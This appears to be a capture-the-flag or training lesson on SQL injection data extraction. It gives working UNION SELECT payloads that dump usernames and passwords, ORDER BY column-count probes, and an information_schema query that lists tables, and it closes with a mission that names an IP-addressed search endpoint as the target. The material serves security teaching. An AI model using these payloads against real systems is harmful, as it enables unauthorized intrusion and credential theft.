Extract the Database

From Bypass to Extraction

Bypassing login is just the beginning. SQL injection can be used to read any data in the database.

UNION-Based Extraction

If the query returns data you can see, you can inject a UNION SELECT to pull data from other tables:

' UNION SELECT username, password FROM users--

Finding the Number of Columns

First you need to know how many columns the query returns:

' ORDER BY 1-- ' ORDER BY 2-- ' ORDER BY 3--

Keep incrementing until you get an error. The last working number is the column count.

Reading the Database Schema

' UNION SELECT table_name, null FROM information_schema.tables--

This lists all tables in the database.

Your Mission

The target has a vulnerable search endpoint at:

http://15.204.80.238/search?q=test

Inject into the q parameter to extract the contents of the secret_flags table.